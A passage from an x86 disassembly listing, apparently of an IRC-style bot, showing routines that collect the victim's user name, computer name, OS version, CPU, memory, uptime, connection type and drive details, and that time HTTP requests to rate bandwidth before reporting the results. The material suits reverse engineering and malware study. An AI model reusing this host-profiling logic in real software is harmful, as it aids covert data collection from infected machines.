byte ptr -72Ch var_32C = dword ptr -32Ch var_328 = byte ptr -328h var_184 = dword ptr -184h var_180 = dword ptr -180h var_17C = dword ptr -17Ch var_178 = byte ptr -178h var_105 = byte ptr -105h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh var_F8 = dword ptr -0F8h var_F4 = dword ptr -0F4h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_68 = dword ptr -68h var_64 = dword ptr -64h var_50 = byte ptr -50h var_38 = byte ptr -38h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 72Ch push ebx push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_32C] push eax call sub_410838 ; memcpy push [ebp+arg_0] call sub_410832 ; free add esp, 10h lea eax, [ebp+var_70] push eax call ds:dword_41107C ; GlobalMemoryStatus mov eax, [ebp+var_68] lea esi, [eax+100000h] mov eax, [ebp+var_64] add eax, 100000h shr eax, 14h shr esi, 14h mov [ebp+var_24], eax call sub_40639B mov ecx, 15180h xor edx, edx mov ebx, ecx mov edi, eax div ebx xor edx, edx push 3Ch mov [ebp+var_8], 15h mov [ebp+var_C], 10h mov [ebp+var_18], eax mov eax, edi div ecx mov ecx, 0E10h mov ebx, ecx mov edi, edx xor edx, edx mov eax, edi div ebx xor edx, edx mov [ebp+var_10], eax mov eax, edi div ecx pop ecx mov eax, edx xor edx, edx div ecx mov [ebp+arg_0], eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_50] push eax call ds:dword_411018 ; GetUserNameA lea eax, [ebp+var_C] push eax lea eax, [ebp+var_38] push eax call ds:dword_411030 ; GetComputerNameA push 24h xor eax, eax pop ecx lea edi, [ebp+var_100] mov [ebp+var_104], 94h rep stosd lea eax, [ebp+var_104] push eax call ds:dword_411034 ; GetVersionExA cmp [ebp+var_100], 4 mov edi, offset a? ; "?" mov [ebp+var_1C], offset aNoSp ; "no SP" jnz short loc_405A0F cmp [ebp+var_FC], 0 jnz short loc_4059EF cmp [ebp+var_F4], 1 jnz short loc_4059DF mov edi, offset a95 ; "95" loc_4059DF: ; CODE XREF: sub_4058D7+101j cmp [ebp+var_F4], 2 jnz short loc_405A61 mov edi, offset aNt ; "NT" jmp short loc_405A4F ; --------------------------------------------------------------------------- loc_4059EF: ; CODE XREF: sub_4058D7+F8j cmp [ebp+var_FC], 0Ah jnz short loc_4059FF mov edi, offset a98 ; "98" jmp short loc_405A46 ; --------------------------------------------------------------------------- loc_4059FF: ; CODE XREF: sub_4058D7+11Fj cmp [ebp+var_FC], 5Ah jnz short loc_405A46 mov edi, offset aMe ; "ME" jmp short loc_405A46 ; --------------------------------------------------------------------------- loc_405A0F: ; CODE XREF: sub_4058D7+EFj cmp [ebp+var_100], 5 jnz short loc_405A46 cmp [ebp+var_FC], 0 jnz short loc_405A28 mov edi, offset a2000 ; "2000" jmp short loc_405A46 ; --------------------------------------------------------------------------- loc_405A28: ; CODE XREF: sub_4058D7+148j cmp [ebp+var_FC], 1 jnz short loc_405A38 mov edi, offset aXp ; "XP" jmp short loc_405A46 ; --------------------------------------------------------------------------- loc_405A38: ; CODE XREF: sub_4058D7+158j cmp [ebp+var_FC], 2 jnz short loc_405A46 mov edi, offset a2003 ; "2003" loc_405A46: ; CODE XREF: sub_4058D7+126j ; sub_4058D7+12Fj ... cmp [ebp+var_F4], 2 jnz short loc_405A61 loc_405A4F: ; CODE XREF: sub_4058D7+116j cmp [ebp+var_F0], 0 jz short loc_405A61 lea eax, [ebp+var_F0] mov [ebp+var_1C], eax loc_405A61: ; CODE XREF: sub_4058D7+10Fj ; sub_4058D7+176j ... call sub_403342 test eax, eax mov [ebp+var_14], offset aYes ; "Yes" jnz short loc_405A78 mov [ebp+var_14], offset aNo ; "No" loc_405A78: ; CODE XREF: sub_4058D7+198j and [ebp+var_178], 0 and [ebp+var_105], 0 xor eax, eax cpuid mov [ebp+var_184], ebx mov [ebp+var_180], edx mov [ebp+var_17C], ecx lea eax, [ebp+var_4] xor ebx, ebx push eax push 20019h push ebx push offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"... push 80000002h mov [ebp+var_4], ebx call ds:dword_411000 ; RegOpenKeyExA test eax, eax jnz short loc_405B07 lea eax, [ebp+var_28] mov [ebp+var_20], ebx push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_20] push eax push ebx push offset aProcessornames ; "ProcessorNameString" mov [ebp+var_28], 80h push [ebp+var_4] call ds:dword_41100C ; RegQueryValueExA test eax, eax jnz short loc_405AFE push 1 lea eax, [ebp+var_184] push 1 push eax call sub_4053BA add esp, 0Ch loc_405AFE: ; CODE XREF: sub_4058D7+212j push [ebp+var_4] call ds:dword_411028 ; RegCloseKey loc_405B07: ; CODE XREF: sub_4058D7+1E6j cmp [ebp+arg_0], 1 mov ecx, offset byte_417B60 mov eax, offset dword_4131C0 mov ebx, ecx jz short loc_405B1B mov ebx, eax loc_405B1B: ; CODE XREF: sub_4058D7+240j cmp [ebp+var_10], 1 mov edx, ecx jz short loc_405B25 mov edx, eax loc_405B25: ; CODE XREF: sub_4058D7+24Aj cmp [ebp+var_18], 1 jnz short loc_405B2D mov eax, ecx loc_405B2D: ; CODE XREF: sub_4058D7+252j lea ecx, [ebp+var_50] push ecx lea ecx, [ebp+var_38] push ecx push ebx push [ebp+arg_0] push edx push [ebp+var_10] push eax push [ebp+var_18] push [ebp+var_14] push esi push [ebp+var_24] call sub_4057B0 push eax lea eax, [ebp+var_184] push eax lea eax, [ebp+var_72C] push [ebp+var_F8] push [ebp+var_FC] push [ebp+var_100] push [ebp+var_1C] push edi push offset dword_4130D0 push 400h push eax call sub_41089E ; _snprintf add esp, 54h lea eax, [ebp+var_72C] push eax lea eax, [ebp+var_328] push offset dword_412B30 push eax call sub_408D50 push [ebp+var_32C] call sub_406753 add esp, 10h xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_4058D7 endp ; =============== S U B R O U T I N E ======================================= sub_405BB3 proc near ; CODE XREF: sub_40735A+FFEp arg_0 = dword ptr 4 push esi push 1A7h call sub_41082C ; malloc mov esi, eax pop ecx test esi, esi jz short loc_405BE9 push [esp+4+arg_0] lea eax, [esi+4] push eax call sub_403E60 pop ecx pop ecx push offset aSysinfoThread ; "Sysinfo thread" push 0 push esi push offset sub_4058D7 call sub_40663C add esp, 10h loc_405BE9: ; CODE XREF: sub_405BB3+10j pop esi retn sub_405BB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405BEB proc near ; CODE XREF: sub_405C57+Ap ; sub_405C57+18p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h push esi push edi push [ebp+arg_0] lea eax, [ebp+var_20] push eax call sub_410820 ; _mbscpy lea eax, [ebp+var_20] push eax call sub_40AC4E call sub_41084A ; clock mov edi, eax push 7D0h push 0 lea eax, [ebp+var_20] push offset a80 ; "80" push eax call sub_403BBB mov esi, eax push esi call sub_403D49 add esp, 20h test esi, esi jnz short loc_405C3A mov eax, 3E8h jmp short loc_405C53 ; --------------------------------------------------------------------------- loc_405C3A: ; CODE XREF: sub_405BEB+46j call sub_41084A ; clock mov ecx, eax mov eax, 3E8h sub ecx, edi cmp ecx, eax jnb short loc_405C53 call sub_41084A ; clock sub eax, edi loc_405C53: ; CODE XREF: sub_405BEB+4Dj ; sub_405BEB+5Fj pop edi pop esi leave retn sub_405BEB endp ; =============== S U B R O U T I N E ======================================= sub_405C57 proc near ; CODE XREF: sub_405E4E:loc_405F89p ; sub_40849F+15Cp ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi push (offset loc_412F2B+1) call sub_405BEB mov esi, eax mov [esp+18h+var_18], offset dword_412F38 call sub_405BEB mov edi, eax mov [esp+18h+var_18], offset dword_412F50 call sub_405BEB mov ebx, eax mov [esp+18h+var_18], offset dword_412F5C call sub_405BEB mov ebp, eax mov [esp+18h+var_18], offset dword_412F6C call sub_405BEB mov [esp+18h+var_4], eax mov [esp+18h+var_18], offset dword_412F7C call sub_405BEB add eax, [esp+18h+var_4] pop ecx push 6 xor edx, edx add eax, ebp pop ecx add eax, ebx add eax, edi pop edi add eax, esi pop esi pop ebp pop ebx div ecx pop ecx retn sub_405C57 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405CC8 proc near ; CODE XREF: sub_405E4E:loc_405FAEp var_414 = byte ptr -414h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = qword ptr -14h var_C = qword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 414h push ebx xor ebx, ebx xor eax, eax cmp off_412F90, ebx push esi push edi jz short loc_405CED mov ecx, offset off_412F90 loc_405CE5: ; CODE XREF: sub_405CC8+23j add ecx, 4 inc eax cmp [ecx], ebx jnz short loc_405CE5 loc_405CED: ; CODE XREF: sub_405CC8+16j shr eax, 1 mov [ebp+var_4], ebx lea edi, [eax-1] jmp short loc_405CF9 ; --------------------------------------------------------------------------- loc_405CF7: ; CODE XREF: sub_405CC8+A0j xor ebx, ebx loc_405CF9: ; CODE XREF: sub_405CC8+2Dj push edi push ebx call sub_40AADE mov esi, eax lea eax, [ebp+var_114] shl esi, 3 push off_412F90[esi] push eax call sub_410820 ; _mbscpy lea eax, [ebp+var_114] push eax call sub_40AC4E push off_412F94[esi] lea eax, [ebp+var_214] push eax call sub_410820 ; _mbscpy lea eax, [ebp+var_214] push eax call sub_40AC4E push 2710h push ebx lea eax, [ebp+var_114] push offset a80 ; "80" push eax call sub_403BBB mov ebx, eax add esp, 30h test ebx, ebx jnz short loc_405D6F inc [ebp+var_4] cmp [ebp+var_4], 3 jb short loc_405CF7 loc_405D6A: ; CODE XREF: sub_405CC8+181j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_405D6F: ; CODE XREF: sub_405CC8+97j lea eax, [ebp+var_114] mov esi, 200h push eax lea eax, [ebp+var_214] push eax push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n" lea eax, [ebp+var_414] push esi push eax call sub_41089E ; _snprintf lea eax, [ebp+var_414] push eax call sub_410826 ; strlen push eax lea eax, [ebp+var_414] push eax push ebx call sub_403D54 add esp, 24h call sub_41084A ; clock and [ebp+var_4], 0 mov dword ptr [ebp+var_14+4], eax mov edi, 1388h loc_405DC2: ; CODE XREF: sub_405CC8+134j ; sub_405CC8+147j push edi lea eax, [ebp+var_414] push esi push eax push ebx call sub_403DAD add esp, 10h mov dword ptr [ebp+var_C+4], eax test eax, eax jz short loc_405DFE cmp eax, 0FFFFFFFFh jz short loc_405DFE call sub_41084A ; clock sub eax, dword ptr [ebp+var_14+4] cmp eax, edi jnb short loc_405DFE mov eax, [ebp+var_4] cmp eax, 100000h jnb short loc_405DFE add eax, dword ptr [ebp+var_C+4] mov [ebp+var_4], eax jmp short loc_405DC2 ; --------------------------------------------------------------------------- loc_405DFE: ; CODE XREF: sub_405CC8+111j ; sub_405CC8+116j ... mov eax, [ebp+var_4] cmp eax, 2000h jnb short loc_405E11 push ebx call sub_403D27 pop ecx jmp short loc_405DC2 ; --------------------------------------------------------------------------- loc_405E11: ; CODE XREF: sub_405CC8+13Ej and dword ptr [ebp+var_C+4], 0 mov dword ptr [ebp+var_C], eax fild [ebp+var_C] fstp dword ptr [ebp+var_C+4] call sub_41084A ; clock sub eax, dword ptr [ebp+var_14+4] and dword ptr [ebp+var_14+4], 0 mov dword ptr [ebp+var_14], eax fild [ebp+var_14] fmul ds:flt_411280 fdivr dword ptr [ebp+var_C+4] call sub_4109E8 ; _ftol push ebx mov esi, eax call sub_403D27 pop ecx mov eax, esi jmp loc_405D6A sub_405CC8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405E4E proc near ; DATA XREF: sub_40605E+29o var_A80 = qword ptr -0A80h var_A54 = byte ptr -0A54h var_654 = byte ptr -654h var_250 = dword ptr -250h var_24C = byte ptr -24Ch var_A8 = byte ptr -0A8h var_28 = byte ptr -28h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A54h push ebx push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_250] push eax call sub_410838 ; memcpy push [ebp+arg_0] call sub_410832 ; free mov esi, offset dword_418C78 lea eax, [ebp+var_654] push esi push eax call sub_410820 ; _mbscpy add esp, 18h lea eax, [ebp+var_C] xor edi, edi push eax push edi push edi push esi call dword_417BB4 ; getaddrinfo test eax, eax jnz short loc_405EC6 push 1 push edi push edi lea eax, [ebp+var_654] push 401h push eax mov eax, [ebp+var_C] push dword ptr [eax+10h] push dword ptr [eax+18h] call dword_417BB8 ; getnameinfo push [ebp+var_C] call dword_417BBC ; freeaddrinfo loc_405EC6: ; CODE XREF: sub_405E4E+4Ej call sub_40640D mov ecx, 15180h xor edx, edx mov ebx, ecx mov esi, eax div ebx xor edx, edx push 3Ch mov dword ptr [ebp+var_8+4], eax mov eax, esi div ecx mov ecx, 0E10h mov ebx, ecx mov esi, edx xor edx, edx mov eax, esi div ebx xor edx, edx mov [ebp+var_14], eax mov eax, esi div ecx pop ecx mov esi, offset aUnknown_0 ; "Unknown" push esi mov eax, edx xor edx, edx div ecx mov [ebp+arg_0], eax lea eax, [ebp+var_A8] push eax call sub_410820 ; _mbscpy lea eax, [ebp+var_28] push esi push eax call sub_410820 ; _mbscpy mov eax, dword_417BAC add esp, 10h cmp eax, edi jz short loc_405F61 push edi lea ecx, [ebp+var_A8] push 80h push ecx lea ecx, [ebp+var_1C] push ecx call eax ; InternetGetConnectedStateEx test eax, eax jz short loc_405F61 test [ebp+var_1C], 1 jz short loc_405F51 push offset aModem ; "Modem" jmp short loc_405F56 ; --------------------------------------------------------------------------- loc_405F51: ; CODE XREF: sub_405E4E+FAj push offset aLan ; "LAN" loc_405F56: ; CODE XREF: sub_405E4E+101j lea eax, [ebp+var_28] push eax call sub_410820 ; _mbscpy pop ecx pop ecx loc_405F61: ; CODE XREF: sub_405E4E+DDj ; sub_405E4E+F4j call sub_4033B0 mov edi, offset aYes ; "Yes" mov esi, offset aNo ; "No" test eax, eax mov [ebp+var_18], edi jnz short loc_405F7A mov [ebp+var_18], esi loc_405F7A: ; CODE XREF: sub_405E4E+127j call sub_403289 test eax, eax mov [ebp+var_10], edi jnz short loc_405F89 mov [ebp+var_10], esi loc_405F89: ; CODE XREF: sub_405E4E+136j call sub_405C57 cmp eax, 2EEh mov [ebp+var_20], eax mov ebx, offset aBad ; "Bad" jnb short loc_405FA2 mov ebx, offset aAvarage ; "Avarage" loc_405FA2: ; CODE XREF: sub_405E4E+14Dj cmp eax, 1F4h jnb short loc_405FAE mov ebx, offset aGood ; "Good" loc_405FAE: ; CODE XREF: sub_405E4E+159j call sub_405CC8 cmp [ebp+arg_0], 1 mov edx, offset byte_417B60 mov ecx, offset dword_4131C0 mov edi, edx jz short loc_405FC7 mov edi, ecx loc_405FC7: ; CODE XREF: sub_405E4E+175j cmp [ebp+var_14], 1 mov esi, edx jz short loc_405FD1 mov esi, ecx loc_405FD1: ; CODE XREF: sub_405E4E+17Fj cmp dword ptr [ebp+var_8+4], 1 jnz short loc_405FD9 mov ecx, edx loc_405FD9: ; CODE XREF: sub_405E4E+187j push edi mov dword ptr [ebp+var_8], eax push [ebp+arg_0] lea eax, [ebp+var_28] push esi push [ebp+var_14] push ecx push dword ptr [ebp+var_8+4] and dword ptr [ebp+var_8+4], 0 fild [ebp+var_8] push ecx push ecx fmul ds:flt_411284 fstp [esp+0A80h+var_A80] push [ebp+var_20] push ebx push [ebp+var_10] push [ebp+var_18] push eax lea eax, [ebp+var_A8] push eax lea eax, [ebp+var_654] push eax push offset dword_413250 lea eax, [ebp+var_A54] push 400h push eax call sub_41089E ; _snprintf add esp, 48h lea eax, [ebp+var_A54] push eax lea eax, [ebp+var_24C] push offset dword_412B30 push eax call sub_408D50 push [ebp+var_250] call sub_406753 add esp, 10h xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_405E4E endp ; =============== S U B R O U T I N E ======================================= sub_40605E proc near ; CODE XREF: sub_40735A+FEDp arg_0 = dword ptr 4 push esi push 1A7h call sub_41082C ; malloc mov esi, eax pop ecx test esi, esi jz short loc_406094 push [esp+4+arg_0] lea eax, [esi+4] push eax call sub_403E60 pop ecx pop ecx push offset aNetinfoThread ; "Netinfo thread" push 0 push esi push offset sub_405E4E call sub_40663C add esp, 10h loc_406094: ; CODE XREF: sub_40605E+10j pop esi retn sub_40605E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406096 proc near ; CODE XREF: sub_40849F+141p ; sub_40849F+213p ... var_1C = byte ptr -1Ch var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 1Ch mov eax, dword_413364 push esi mov [ebp+var_4], eax xor esi, esi loc_4060A7: ; CODE XREF: sub_406096+73j lea eax, [ebp+var_4] push eax call ds:dword_4110D0 ; GetDriveTypeA test eax, eax jz short loc_406102 cmp eax, 1 jz short loc_406102 cmp eax, 5 jz short loc_4060DC cmp eax, 2 jz short loc_4060DC lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_4] push eax call ds:dword_4110CC ; GetDiskFreeSpaceExA jmp short loc_4060EC ; --------------------------------------------------------------------------- loc_4060DC: ; CODE XREF: sub_406096+27j ; sub_406096+2Cj push 8 lea eax, [ebp+var_C] push 0 push eax call sub_410850 ; memset add esp, 0Ch loc_4060EC: ; CODE XREF: sub_406096+44j mov eax, [ebp+var_C] mov edx, [ebp+var_8] push 14h pop ecx call sub_4109F0 mov [ebp+var_C], eax mov [ebp+var_8], edx add esi, eax loc_406102: ; CODE XREF: sub_406096+1Dj ; sub_406096+22j inc byte ptr [ebp+var_4] cmp byte ptr [ebp+var_4], 5Ah jnz short loc_4060A7 mov eax, esi pop esi leave retn sub_406096 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406110 proc near ; DATA XREF: sub_4062EC+29o var_5C8 = dword ptr -5C8h var_5C4 = byte ptr -5C4h var_420 = byte ptr -420h var_40B = byte ptr -40Bh var_20 = byte ptr -20h var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5C8h push ebx push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_5C8] push eax call sub_410838 ; memcpy push [ebp+arg_0] call sub_410832 ; free add esp, 10h mov esi, offset aDriveInformati ; "Drive information - " lea edi, [ebp+var_420] xor eax, eax push 5 xor ebx, ebx pop ecx mov [ebp+arg_0], ebx rep movsd movsb mov ecx, 0FAh lea edi, [ebp+var_40B] rep stosd mov esi, ds:dword_4111EC mov [ebp+var_10], 1 stosw stosb mov eax, dword_413364 mov [ebp+var_4], eax loc_406178: ; CODE XREF: sub_406110+172j lea eax, [ebp+var_4] push eax call ds:dword_4110D0 ; GetDriveTypeA test eax, eax jz loc_40627B cmp eax, 1 jz loc_40627B cmp eax, 2 jnz short loc_4061DC mov edi, offset aRemovable ; "removable" loc_40619D: ; CODE XREF: sub_406110+EEj push 8 lea eax, [ebp+var_C] push 0 push eax call sub_410850 ; memset add esp, 0Ch loc_4061AD: ; CODE XREF: sub_406110+115j mov eax, [ebp+var_C] mov edx, [ebp+var_8] push 14h pop ecx call sub_4109F0 cmp [ebp+var_10], 0 mov [ebp+var_C], eax mov [ebp+var_8], edx jnz short loc_406227 lea eax, [ebp+var_420] push offset a_ ; ". " push eax call sub_410856 ; _mbscat pop ecx pop ecx jmp short loc_40622B ; --------------------------------------------------------------------------- loc_4061DC: ; CODE XREF: sub_406110+86j cmp eax, 3 jnz short loc_4061E8 mov edi, offset aFixed ; "fixed" jmp short loc_40620F ; --------------------------------------------------------------------------- loc_4061E8: ; CODE XREF: sub_406110+CFj cmp eax, 4 jnz short loc_4061F4 mov edi, offset aRemote ; "remote" jmp short loc_40620F ; --------------------------------------------------------------------------- loc_4061F4: ; CODE XREF: sub_406110+DBj cmp eax, 5 jnz short loc_406200 mov edi, offset aCdRom ; "cd-rom" jmp short loc_40619D ; --------------------------------------------------------------------------- loc_406200: ; CODE XREF: sub_406110+E7j cmp eax, 6 mov edi, offset aRamdisk ; "ramdisk" jz short loc_40620F mov edi, offset aUnknown ; "unknown" loc_40620F: ; CODE XREF: sub_406110+D6j ; sub_406110+E2j ... lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_4] push eax call ds:dword_4110CC ; GetDiskFreeSpaceExA jmp short loc_4061AD ; --------------------------------------------------------------------------- loc_406227: ; CODE XREF: sub_406110+B5j and [ebp+var_10], 0 loc_40622B: ; CODE XREF: sub_406110+CAj mov eax, [ebp+var_C] or eax, [ebp+var_8] jz short loc_406258 push [ebp+var_8] lea eax, [ebp+var_4] push [ebp+var_C] push edi push eax lea eax, [ebp+var_420] push eax lea eax, [ebp+var_420] push offset dword_4133B0 push eax call esi ; wsprintfA add esp, 1Ch jmp short loc_406275 ; --------------------------------------------------------------------------- loc_406258: ; CODE XREF: sub_406110+121j lea eax, [ebp+var_4] push edi push eax lea eax, [ebp+var_420] push eax lea eax, [ebp+var_420] push offset dword_4133A0 push eax call esi ; wsprintfA add esp, 14h loc_406275: ; CODE XREF: sub_406110+146j add ebx, [ebp+var_C] inc [ebp+arg_0] loc_40627B: ; CODE XREF: sub_406110+74j ; sub_406110+7Dj inc byte ptr [ebp+var_4] cmp byte ptr [ebp+var_4], 5Ah jnz loc_406178 cmp [ebp+arg_0], 0 jz short loc_4062A1 lea eax, [ebp+var_420] push offset a_ ; ". " push eax call sub_410856 ; _mbscat pop ecx pop ecx loc_4062A1: ; CODE XREF: sub_406110+17Cj push ebx lea eax, [ebp+var_420] push [ebp+arg_0] push eax lea eax, [ebp+var_420] push offset dword_413368 push eax call esi ; wsprintfA add esp, 14h lea eax, [ebp+var_420] push eax lea eax, [ebp+var_5C4] push offset dword_412B30 push eax call sub_408D50 push [ebp+var_5C8] call sub_406753 add esp, 10h xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_406110 endp ; =============== S U B R O U T I N E ======================================= sub_4062EC proc near ; CODE XREF: sub_40735A+E4Dp arg_0 = dword ptr 4 push esi push 1A7h call sub_41082C ; malloc mov esi, eax pop ecx test esi, esi jz short loc_406322 push [esp+4+arg_0] lea eax, [esi+4] push eax call sub_403E60 pop ecx pop ecx push offset aDriveinfoThrea ; "Driveinfo thread" push 0 push esi push offset sub_406110 call sub_40663C add esp, 10h loc_406322: ; CODE XREF: sub_4062EC+10j pop esi retn sub_4062EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406324 proc near ; CODE XREF: seg000:00410706p var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_10] push eax call ds:dword_4110DC ; QueryPerformanceCounter lea eax, [ebp+var_8] push eax call ds:dword_4110D8 ; QueryPerformanceFrequency xor eax, eax cmp [ebp+var_C], eax jl short loc_406385 jg short loc_40634C cmp [ebp+var_10], eax jbe short loc_406385 loc_40634C: ; CODE XREF: sub_406324+21j cmp [ebp+var_4], eax jl short loc_406385 jg short loc_406358 cmp [ebp+var_8], eax jbe short loc_406385 loc_406358: ; CODE XREF: sub_406324+2Dj push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] call sub_410A20 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_410A10 ; ceil pop ecx pop ecx call sub_4109E8 ; _ftol jmp short loc_406394 ; --------------------------------------------------------------------------- loc_406385: ; CODE XREF: sub_406324+1Fj ; sub_406324+26j ... call ds:dword_4110D4 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx loc_406394: ; CODE XREF: sub_406324+5Fj mov dword_418000, eax leave retn sub_406324 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40639B proc near ; CODE XREF: sub_4058D7+4Fp ; sub_40735A:loc_408242p ... var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_10] push eax call ds:dword_4110DC ; QueryPerformanceCounter lea eax, [ebp+var_8] push eax call ds:dword_4110D8 ; QueryPerformanceFrequency xor eax, eax cmp [ebp+var_C], eax jl short loc_4063FC jg short loc_4063C3 cmp [ebp+var_10], eax jbe short loc_4063FC loc_4063C3: ; CODE XREF: sub_40639B+21j cmp [ebp+var_4], eax jl short loc_4063FC jg short loc_4063CF cmp [ebp+var_8], eax jbe short loc_4063FC loc_4063CF: ; CODE XREF: sub_40639B+2Dj push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] call sub_410A20 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_410A10 ; ceil pop ecx pop ecx call sub_4109E8 ; _ftol leave retn ; --------------------------------------------------------------------------- loc_4063FC: ; CODE XREF: sub_40639B+1Fj ; sub_40639B+26j ... call ds:dword_4110D4 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx leave retn sub_40639B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40640D proc near ; CODE XREF: sub_405E4E:loc_405EC6p ; sub_40735A+F37p var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_10] push eax call ds:dword_4110DC ; QueryPerformanceCounter lea eax, [ebp+var_8] push eax call ds:dword_4110D8 ; QueryPerformanceFrequency xor eax, eax cmp [ebp+var_C], eax jl short loc_40646E jg short loc_406435 cmp [ebp+var_10], eax jbe short loc_40646E loc_406435: ; CODE XREF: sub_40640D+21j cmp [ebp+var_4], eax jl short loc_40646E jg short loc_406441 cmp [ebp+var_8], eax jbe short loc_40646E loc_406441: ; CODE XREF: sub_40640D+2Dj push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] call sub_410A20 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_410A10 ; ceil pop ecx pop ecx call sub_4109E8 ; _ftol jmp short loc_406474 ; --------------------------------------------------------------------------- loc_40646E: ; CODE XREF: sub_40640D+1Fj ; sub_40640D+26j ... call ds:dword_4110D4 ; GetTickCount loc_406474: ; CODE XREF: sub_40640D+5Fj sub eax, dword_418000 leave retn sub_40640D endp ; =============== S U B R O U T I N E ======================================= sub_40647C proc near ; CODE XREF: seg000:00410611p var_4 = dword ptr -4 and dword_418020, 0 push 1980h call sub_41082C ; malloc mov dword_418028, eax mov [esp+4+var_4], offset dword_418008 call sub_406AB6 pop ecx retn sub_40647C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4064A0 proc near ; DATA XREF: sub_406541+25o var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_411288 push offset sub_410ACA mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 10h push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, [ebp+arg_0] mov esi, [eax] mov [ebp+var_20], esi mov edi, [eax+4] mov [ebp+var_1C], edi push eax call sub_410832 ; free pop ecx push esi call ds:dword_4110E0 ; IsBadCodePtr test eax, eax jz short loc_406508 cmp dword_417B68, 0 jz short loc_40652A push esi push offset dword_413440 push offset dword_4177EC call sub_408CDE add esp, 0Ch jmp short loc_40652A ; --------------------------------------------------------------------------- loc_406508: ; CODE XREF: sub_4064A0+48j push edi call esi ; wsprintfA or [ebp+var_4], 0FFFFFFFFh jmp short loc_406530 ; --------------------------------------------------------------------------- push offset aBtg ; "btg" push offset aThread ; "thread" push [ebp+var_14] call sub_40287C add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] loc_40652A: ; CODE XREF: sub_4064A0+51j ; sub_4064A0+66j or [ebp+var_4], 0FFFFFFFFh xor eax, eax loc_406530: ; CODE XREF: sub_4064A0+6Fj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_4064A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406541 proc near ; CODE XREF: sub_404F90+F9p ; sub_406A80+21p ... var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi push 8 call sub_41082C ; malloc mov 